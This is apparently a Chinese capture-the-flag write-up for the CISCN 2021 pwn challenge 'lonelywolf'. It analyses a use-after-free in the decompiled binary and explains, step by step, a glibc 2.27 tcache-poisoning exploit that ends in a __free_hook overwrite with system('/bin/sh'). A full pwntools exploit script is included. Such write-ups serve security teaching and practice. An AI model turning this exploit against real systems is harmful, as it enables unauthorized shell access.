[CISCN 2021 初赛]lonelywolf

1775626112347-e1548778-660a-4fa3-b368-f087428be123.png

程序分析：

  1. main 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  _QWORD v3[5]; // [rsp+0h] [rbp-28h] BYREF

  v3[1] = __readfsqword(0x28u);
  setvbuf_0();
  while ( 1 )
  {
    puts("1. allocate");
    puts("2. edit");
    puts("3. show");
    puts("4. delete");
    puts("5. exit");
    __printf_chk(1, "Your choice: ");
    __isoc99_scanf(&unk_F44, v3);
    switch ( v3[0] )
    {
      case 1LL:
        allocate();
        break;
      case 2LL:
        edit();
        break;
      case 3LL:
        show();
        break;
      case 4LL:
        delete();
        break;
      case 5LL:
        exit(0);
      default:
        puts("Unknown");
        break;
    }
  }
}
  1. allocate 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 allocate()
{
  size_t size_1; // rbx
  void *buf; // rax
  size_t size; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1, "Index: ");
  __isoc99_scanf(&unk_F44, &size);
  if ( !size )
  {
    __printf_chk(1, "Size: ");
    __isoc99_scanf(&unk_F44, &size);
    size_1 = size;
    if ( size > 0x78 )
    {
      __printf_chk(1, "Too large");
    }
    else
    {
      buf = malloc(size);
      if ( buf )
      {
        ::size = size_1;
        ::buf = buf;
        puts("Done!");
      }
      else
      {
        puts("allocate failed");
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
  1. edit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 edit()
{
  _BYTE *buf; // rbx
  char *v1; // rbp
  __int64 v3; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1, "Index: ");
  __isoc99_scanf((__int64)&unk_F44, (__int64)&v3);
  if ( !v3 )
  {
    if ( ::buf )
    {
      __printf_chk(1, "Content: ");
      buf = ::buf;
      if ( size )
      {
        v1 = (char *)::buf + size;
        while ( 1 )
        {
          read(0, buf, 1u);
          if ( *buf == '\n' )
            break;
          if ( ++buf == v1 )
            return __readfsqword(0x28u) ^ v4;
        }
        *buf = 0;                               // off-by-null
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
  1. show
1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 show()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1, "Index: ");
  __isoc99_scanf((__int64)&unk_F44, (__int64)&v1);
  if ( !v1 && buf )
    __printf_chk(1, "Content: %s\n", (const char *)buf);
  return __readfsqword(0x28u) ^ v2;
}
  1. delete
1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 delete()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1, "Index: ");
  __isoc99_scanf((__int64)&unk_F44, (__int64)&v1);
  if ( !v1 && buf )
    free(buf);
  return __readfsqword(0x28u) ^ v2;
}

free 后没有置 0，存在 UAF 漏洞。

在 glibc 2.27 中，引入了 Tcache 机制来加速内存分配，但在早期的 2.27 版本中，对 Double Free 的安全检查非常薄弱。我们可以利用这一点，结合了 UAF** **漏洞，最终劫持了程序的执行流并拿到了 Shell。

封装函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def new(size):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Size: ")
    p.sendline(str(size))


def edit(con):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Content: ")
    p.sendline(con)


def show():
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline("0")


def free():
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline("0")

泄露堆基址

1
2
3
4
5
new(0x78)
free()
edit("a"*0x10)   # bypass tcache double free
# gdb.attach(p)
# pause()
  • ****分配了一个 0x78（实际占用 0x80）的堆块并释放，它会进入对应大小的 Tcache 链表。
  • 绕过检查：脚本使用 edit(“a”0x10) 修改了已经被释放的堆块。在 glibc 2.27 的部分修补版本中，Tcache 会通过检查堆块的第二个 8 字节，key 字段来防止 Double Free。这里通过写入 a0x10 破坏了 key 字段，成功绕过了这个检查。
1775639723807-9b0b08eb-3523-42ba-809b-37ba6909cb44.png
  • Double Free：再次 free() 同一个堆块。此时 Tcache 链表形成了环状：Chunk A -> Chunk A。
  • 调用 show() 打印该堆块的 fd 指针（现在指向它自己），从而获得了**堆空间的地址 **
1
2
3
4
5
6
7
8
free()
show()
#gdb.attach(p)

p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))
1775639952779-232ab64d-f986-4bb9-a2a6-5716ca48c145.png

劫持 Tcache (Tcache Poisoning)

1
2
3
4
5
head = info - 0x250
new(0x78)
edit(p64(head))
new(0x78)
new(0x78)
  • 定位目标：堆内存的最开头存放着一个总管家结构体 tcache_perthread_struct。脚本通过泄露的堆地址减去 0x250 偏移，精准定位到了这个管家结构体的内容地址
  • ****通过 new 将刚刚 Double Free 的块取出来一个，然后通过 edit 将其 fd 指针修改为 head。
  • 连续调用两次 new(0x78)。第一次拿回的是刚刚被篡改指针的堆块，第二次分配则直接分配到了 tcache_perthread_struct 所在的内存区域。至此，我们可以掌握整个 Tcache 的控制权。

泄露 libc 基地址

1
2
3
pad = p64(0)*4+p64(0x0000000007000000)
# pad = p64(0)*4+p64(0x00000000ff000000)  --> 填ff-07之间的数值都可以
edit(pad)
  • 伪造计数器：当前 Index 0 指向的是tcache_perthread_struct。通过 edit(pad) 写入 0x7000000，意在篡改tcache_perthread_struct 当中的信息，表示 0x78 大小的 Tcachebin 已满
  • 对 tcache_perthread_struct 执行 free()。由于它对应的 Tcache 已经被标记为满，这个堆块会被丢进 Unsorted Bin。
1775652609860-3e718818-d949-4132-8226-697a6b2311aa.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
free()
show()

p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
log.success(hex(info))

# count
base = info - 0x70 - libc.sym["__malloc_hook"]
sys = base+libc.sym["system"]
f_hook = base+libc.sym["__free_hook"]
print("f_hook: ", hex(f_hook))
print("sys: ", hex(sys))
  • 进入 Unsorted Bin 的堆块，其 fd 和 bk 指针会被写入 main_arena 的地址。通过 show() 打印出来，再结合偏移量计算，就能算出 libc_base、system 函数和 __free_hook 的真实内存地址。

劫持 hook 获取 shell

1
2
3
4
5
6
7
8
new(0x40)
edit(p64(0)*4)
new(0x10)
edit(p64(f_hook-8)*2)
new(0x40)
edit(b"/bin/sh\x00"+p64(sys))
free()

  • 这是一种非常霸道的操作。由于我们再次控制 tcache_perthread_struct 里的 Entries 数组，脚本将大小为 0x50（对应 0x40 用户数据）的 Tcache 链表直接指向了 __free_hook - 8。
  • 分配到该位置后，写入 b”/bin/sh\x00” 和 system 函数的地址。
  • 内存布局结果：
  • __free_hook - 8 的位置存放了字符串 “/bin/sh\x00”
  • __free_hook 的位置被替换成了 system 函数的地址。
  • 调用 free()。由于我们正准备释放这块内存，系统会先去检查 __free_hook，发现那里有东西，于是就把当前堆块的地址（即 “/bin/sh” 所在的地址）作为参数传给了 Hook 指向的函数（即 system）。最终相当于执行了 system(“/bin/sh”)。

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

# p = remote('node4.anna.nssctf.cn',27438)
p = process( "./lonelywolf")
context.log_level = "debug"
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
# libc = ELF('x64libc-2.27.so')
context.terminal=["tmux","splitw","-h"]

def new(size):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Size: ")
    p.sendline(str(size))


def edit(con):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Content: ")
    p.sendline(con)


def show():
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline("0")


def free():
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline("0")

# leak heap addr
new(0x78)
free()
# gdb.attach(p)
# pause()

edit("a"*0x10)   # bypass tcache double free
# gdb.attach(p)
# pause()

free()
show()
#  print(p.recv())
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
log.success(hex(info))
# gdb.attach(p)
# pause()

# alloc to tcache control head
head = info-0x250
new(0x78)
edit(p64(head))
new(0x78)
new(0x78)

# free head --> leak libc
# gdb.attach(p)
pad = p64(0)*4+p64(0x0000000007000000)
# gdb.attach(p)
edit(pad)
free()
show()
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))

# count
base = info-0x70-libc.sym["__malloc_hook"]
sys = base+libc.sym["system"]
f_hook = base+libc.sym["__free_hook"]
print("f_hook: ", hex(f_hook))
print("sys: ", hex(sys))

# alloc to free_hook-0x8
new(0x40)
edit(p64(0)*4)
new(0x10)
edit(p64(f_hook-8)*2)
new(0x40)
edit(b"/bin/sh\x00"+p64(sys))
free()

p.interactive()


更新: 2026-04-08 20:55:32
原文: https://www.yuque.com/idcm/wnemg9/tp6449o2e4khtqo5